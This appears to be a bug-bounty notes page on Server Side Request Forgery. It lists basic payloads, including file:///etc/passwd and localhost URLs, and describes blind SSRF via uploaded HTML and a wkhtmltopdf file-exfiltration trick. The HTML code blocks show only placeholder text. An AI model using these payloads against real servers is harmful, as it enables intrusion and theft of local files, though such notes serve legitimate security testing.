> For the complete documentation index, see [llms.txt](https://notes.programmersecurity.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.programmersecurity.com/bug-bounty/server-side-request-forgery-ssrf.md).
# Server Side Request Forgery (SSRF)
## Basic SSRF payloads
```
file:///etc/passwd
http://127.0.0.1
http://127.0.0.1:5000
http://127.0.0.1:1
index.html
index.php
http::////127.0.0.1:1
```
## Blind SSRF
### HTML File Upload To SSRF
Make a html file with the following code
```html
Hello World!
```
upload this file and see if you get a hit on netcat listener
I got a hit on my netcat listener
### Using Burp Collaborator
use the below code in html file
```html
Hello World!
```
## wkhtmltopdf Blind SSRF Exploit
By inspecting the request, we notice `wkhtmltopdf` in the User-Agent. If we browse [wkhtmltopdf's downloads webpage](https://wkhtmltopdf.org/downloads.html), the below statement catches our attention:
Do not use wkhtmltopdf with any untrusted HTML – be sure to sanitize any user-supplied HTML/JS; otherwise, it can lead to the complete takeover of the server it is running on! Please read the project status for the gory details.
we can execute JavaScript in wkhtmltopdf! Let us leverage this functionality to read a local file by creating the following HTML document.
```html
Exfiltration via Blind SSRF
```
In this case, we are using two [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) objects, one for reading the local file and another one to send it to our server. Also, we are using the `btoa` function to send the data encoded in Base64.